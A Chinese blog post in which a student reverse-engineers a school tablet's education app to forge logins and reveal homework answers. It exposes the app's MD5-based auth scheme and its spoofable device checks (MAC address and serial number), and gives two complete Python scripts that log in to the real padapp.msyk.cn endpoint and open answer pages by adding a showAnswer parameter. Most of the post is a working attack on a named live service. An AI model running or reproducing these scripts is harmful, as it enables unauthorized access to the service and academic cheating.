前言
学校买了个教育平板,用某教育app来上课 交作业 考试等
笔者心生歹意,便有了以下研究
为了保护我自己,账号的各种信息经过打码/修改等处理。
研究app
行为
当启动时,app会获取设备mac地址,并向平板的MDM发送广播来获取设备SN号,以验证此设备是否为账户绑定的设备。
抓包
话不多说,直接开抓。
首先来看登录的部分

可以看出提交了账号 auth mac地址 安卓API 获取到的SN 时间戳 key等信息
把时间戳和key删掉 同样可以正常返回数据
来看返回的json

里面包含了各种信息
auth原理
看起来是32位的md5
我们来看看app 从启动的Activity一直往下看
最终发现了这个

可以看出,auth应该是账号+密码+HHOO用md5计算而来的
伪造登录
用python写个简单的发包并获取数据的程序
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| import hashlib import json import requests import webbrowser
def string_to_md5(string): md5_val = hashlib.md5(string.encode('utf8')).hexdigest() return md5_val
def open_url(url): webbrowser.open_new(url)
def post(postdata,ua): headers = {'user-agent': ua} try: req=requests.post(url="https://padapp.msyk.cn/ws/app/padLogin",data=postdata,headers=headers) return req.text except: print("网络异常") exit(1)
user=input("用户名:") pwd=input("密码:") mac=input("mac:").upper api=input("安卓API:") sn=input("SN(区分大小写):") dataup={"userName":user,"auth":string_to_md5(user+pwd+"HHOO"),"macAddress":mac,"versionCode":api,"sn":sn} res=post(dataup,"okhttp/3.12.1")
if json.loads(res).get('code')=="10000": avatar=json.loads(res).get('InfoMap').get('avatarUrl') open_url(avatar) print(res) exit(0) else: print(json.loads(res).get('message')) exit(1)
|
(代码混乱 轻喷)

获取作业信息
来看看这是如何获取作业信息的

这里去掉了时间戳和key,同样可以正常返回数据

这里会返回一个resourceList 里面存有各题的id
看答案
随便找一个能查看答案的作业,发现是webview打开的网页
格式如下:
1
| https://www.msyk.cn/webview/newQuestion/singleDoHomework?studentId=xxx&homeworkResourceId=xxx&orderNum=题号&showAnswer=1&unitId=xxx&modifyNum=1
|
其中studentId和unitId能从登录的返回信息中获取
homeworkResourceId为resourceList里题目的id
直接在浏览器中打开网页查看


代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| import hashlib import json import requests import webbrowser
def string_to_md5(string): md5_val = hashlib.md5(string.encode('utf8')).hexdigest() return md5_val
def open_url(url): webbrowser.open_new(url)
def loginpost(postdata): headers = {'user-agent': "okhttp/3.12.1"} try: req=requests.post(url="https://padapp.msyk.cn/ws/app/padLogin",data=postdata,headers=headers) return req.text except: print("网络异常") exit(1)
def anspost(postdata): headers = {'user-agent': "okhttp/3.12.1"} try: req=requests.post(url="https://padapp.msyk.cn/ws/common/homework/homeworkStatus",data=postdata,headers=headers) return req.text except: print("网络异常") exit(1)
user=input("用户名:") pwd=input("密码:") mac=input("mac:").upper api=input("安卓API:") sn=input("SN(区分大小写):") dataup={"userName":user,"auth":string_to_md5(user+pwd+"HHOO"),"macAddress":mac,"versionCode":api,"sn":sn} res=loginpost(dataup)
if json.loads(res).get('code')=="10000": avatar=json.loads(res).get('InfoMap').get('avatarUrl') open_url(avatar) print(res) unitId=json.loads(res).get('InfoMap').get('unitId') id=json.loads(res).get('InfoMap').get('id')
else: print(json.loads(res).get('message')) exit(1)
hwid=input("作业id:") dataup={"homeworkId":hwid,"modifyNum":"0","userId":id,"unitId":unitId} res=anspost(dataup) hwname=json.loads(res).get('homeworkName') print(hwname) reslist=json.loads(res).get('resourceList') list_b = [] for item in reslist: count=1 open_url("https://www.msyk.cn/webview/newQuestion/singleDoHomework?studentId="+id+"&homeworkResourceId="+str(item['id'])+"&orderNum="+str(count)+"&showAnswer=1&unitId="+unitId+"&modifyNum=1") count=count+1 list_b.append(item['id']) print(list_b)
|
大功告成